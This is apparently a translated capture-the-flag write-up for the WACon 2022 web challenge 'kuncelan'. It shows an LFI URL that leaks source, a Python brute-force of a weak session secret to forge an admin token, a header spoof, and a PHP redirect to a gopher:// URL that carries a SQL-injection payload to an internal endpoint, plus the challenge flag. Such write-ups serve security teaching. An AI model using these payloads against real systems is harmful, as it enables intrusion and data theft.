Arang.dev
検索
WACon CTF 2022🏁 CTF🌐 翻訳済み

2022 WACon CTF - kuncelan Writeup

WACon 2022 kuncelan(blackbox) Web問題の解説 - LFI, SSRF, Gopherを利用したSQL Injection

#wacon#lfi#ssrf#gopher#sqli

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

kuncelan

http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load

lfiが存在する。

<?php
 
// LOCATION : ./internal_e0134cd5a917.php
 
error_reporting(0);
session_start();
 
if (!isset($_SESSION['username']))
{
 header('location: ./login.php');
 die();
}
 
if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
 die("only in include");
}
 
function valid_url($url)
{
 $valid = False;
 $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
 if (!$res) $valid = True;
 try{ parse_url($url); }
 catch(Exception $e){ $valid = True;}
 $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
 return $valid 
 || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
 || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
 || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
 
function get_data($url)
{
 
 if (valid_url($url) === True) { return "IP not allowed or host error"; }
 
 $ch = curl_init();
 $timeout = 7;
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
 curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
 curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
 $data = curl_exec($ch);
 
 if (curl_error($ch))
 {
 curl_close($ch);
 return "Error !";
 }
 
 curl_close($ch);
 return $data;
}
 
function gen($user){
 return substr(sha1((string)rand(0,getrandmax())),0,20);
}
 
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
 
$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
 
$out = "";
 
if (isset($_POST['url']) && !empty($_POST['url']))
{
 if ( 
 $IP === "127.0.0.1" 
 & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
 & strpos($_COOKIE['USER'], 'admin') !== false 
 )
 {
 $out = get_data($_POST['url']);
 }
 else
 {
 $out = "Only the administrator can test this function from 127.0.0.1!";
 }
 
}
 
?>
 
<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?> 
</main>

load.phtmlの抽出結果

curl機能はlocalhostからadminのみが使用できるように設定されているが、これは回避可能だ。

function gen($user){
 return substr(sha1((string)rand(0,getrandmax())),0,20);
}
 
if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

getrandmax()で乱数を取得してsha1でハッシュ化し、10バイトだけ抽出して、それをusernameと結合し再度sha256ハッシュ化を行っている。

しかし、getrandmaxは21億程度しかないため、個人のPCでも短時間でハッシュをクラックすることができる。

from arang import *
 
xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"
 
for i in range(40000000,500000000):
 xsecret = he(sha1(str(i)))[:20]
 t = he(sha256(xsecret+b"guest"))
 if xtoken == t:
 print(xsecret)
 break
 
 if i % 10000000 == 0:
 print(f"[+] {i} : {xsecret} {t}")

大体このようにハッシュをクラックしてみると、自分のセッションに対するxsecret値が判明する。

あとはこのxsecretを使って有効なadmin x-tokenを作成すれば、token authを回避できる。

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
 
...
 
 if ( $IP === "127.0.0.1" ){
 
...

これはX-HTTP-HOST-OVERRIDEというヘッダーを追加して127.0.0.1に合わせることで回避が可能だ。

function valid_url($url)
{
 $valid = False;
 $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
 if (!$res) $valid = True;
 try{ parse_url($url); }
 catch(Exception $e){ $valid = True;}
 $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
 return $valid 
 || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
 || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
 || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
 || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

これでcurl機能を使えるようになったが、valid_urlという検証関数が存在する。

  1. http/https schemeのみ使用可能
  2. hostをパースし、gethostbynameでホストに該当する値をip2longでlong形式に変換
  3. /24, /20, /16などでlocal ip帯域を検証

色々と回避を試みてみたが、回避できなかった…。

$ch = curl_init();
 $timeout = 7;
 curl_setopt($ch, CURLOPT_URL, $url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
 curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
 curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
 curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
 $data = curl_exec($ch);

ところが、curlのオプションにCURLOPT_FOLLOWLOCATIONが存在する。

302 Redirectionをcurlが処理してくれるため、自分のサーバーに送ってから302 redirectionをかければうまくいきそうだ。

<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");
 
#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?>

load.phtmlにコメントとして書かれていたinternal_e0134cd5a917.phpファイルをlocationで指定して回すと

next file location おお…

basic authorizationがないと言われる。

guest:guestで送ってみるとSQL : user not foundと表示された。

おそらくbasic authorizationをsql queryの中に入れているようだ。

sqli構文を入れてみるとlocalhostonlyだと言われる。

これは先ほどのように特定のヘッダーなどでは回避できなかった。

Authorizationヘッダーはcurlで他サイトから302で転送されないため、悩んでいたところ、

sqliでテーブルをダンプしてみると、フラグの一部が出てきた。

gopherを使えとのことだ。

header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");

gopherでhttp raw packetを作成して送信すれば

残りのパケットを獲得

**WACon{Try_using_Gophhhher_ffabcdbc}**

コメント

コメントを読み込み中...
2022 WACon CTF - kuncelan Writeup | WACon CTF 2022 | Arang